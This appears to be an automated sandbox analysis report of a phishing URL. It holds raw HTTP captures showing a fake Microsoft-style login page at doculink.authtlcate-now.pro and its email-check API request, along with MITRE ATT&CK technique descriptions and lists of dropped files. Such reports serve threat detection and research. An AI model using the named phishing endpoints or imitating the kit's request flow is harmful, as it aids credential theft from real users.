2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 2c 30 2c 30 2c 2e 33 37 35 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e Data Ascii: ,0,0,.375-.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.
2024-04-25 13:31:15 UTC	311	IN	Data Raw: 33 2e 33 34 31 2c 33 2e 33 34 31 2c 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 Data Ascii: 3.341,3.341,0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069"
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49810	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:15 UTC	614	OUT	GET /x/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff59 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	760	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:31:15 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NXUoewUe8kiCPx4ME1AZ8d1fbECFkWfaPudk180cnwifo7MUW2feaaPuD%2FwK9oBSNNV2mVfA4FCihbyCA4XKsnqpFezCyaTrF9C0sqV5px9JsbyYL4vxA%2B%2Blh3BQgEiF9B1Dc%2BJ569l4zmzlGv0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13efa2853ea-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	609	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-25 13:31:15 UTC	1262	IN	Data Raw: 36 63 36 39 30 2e 32 34 36 20 30 20 31 32 34 39 2e 38 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 Data Ascii: 6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 39
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49811	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:30 UTC	987	OUT	GET /API.php?data=mail&email=GoFuckYourself@Fuckyou.com&_=1714051872957 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:31 UTC	756	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OoFwSo1BdDbGGM7ZMB0uLF1CFjfIiPSa8%2FDvLFo6ty5ferG4l3UVi0eeOxSvcb0I6b7gTBXWHGgMdcJHKy5JjD7m3%2FrefWEIsRiSxR7wdnK%2Ft6l7E5FldAXiZEHhYK8M1aq2Mh42IlF2fYvC%2Bmw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb19bae21675b-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:31 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-25 13:31:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49812	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:31 UTC	633	OUT	GET /API.php?data=mail&email=GoFuckYourself@Fuckyou.com&_=1714051872957 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:32 UTC	748	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fht1iaQliykwHmds3b7ywHlqVD0RNEcdWRWbKasqIKcsxReHQHJgJqxvj8xcZfNbD1Ofi8dj7gXz7KNXrzqYsG4pRifwGQhq0nVVhcgZeqycVtAwpjVzHRd4rRWJOvC9k07oObZBccE1U2ovh8k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1a50e5eb0b8-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:32 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-25 13:31:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.16	49814	35.190.80.1	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:32:11 UTC	566	OUT	OPTIONS /report/v4?s=OoFwSo1BdDbGGM7ZMB0uLF1CFjfIiPSa8%2FDvLFo6ty5ferG4l3UVi0eeOxSvcb0I6b7gTBXWHGgMdcJHKy5JjD7m3%2FrefWEIsRiSxR7wdnK%2Ft6l7E5FldAXiZEHhYK8M1aq2Mh42IlF2fYvC%2Bmw%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://doculink.authtlcate-now.pro Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:32:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 25 Apr 2024 13:32:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	15:30:04
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	15:30:05
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1956,i,12321576010099348366,12060906561860274637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	Matcher: Template: microsoft matched
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	Matcher: Template: microsoft matched
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	Matcher: Template: microsoft matched

Source: https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	HTTP Parser: No favicon
Source: https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	HTTP Parser: No favicon
Source: https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw&co=aHR0cHM6Ly9hcHAucm9ibHkuY29tOjQ0Mw..&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=invisible&cb=p8li93kl222n	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal	HTTP Parser: No favicon
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No favicon
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No favicon
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No favicon

Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No <meta name="author".. found
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No <meta name="author".. found
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No <meta name="author".. found

Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No <meta name="copyright".. found
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No <meta name="copyright".. found
Source: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d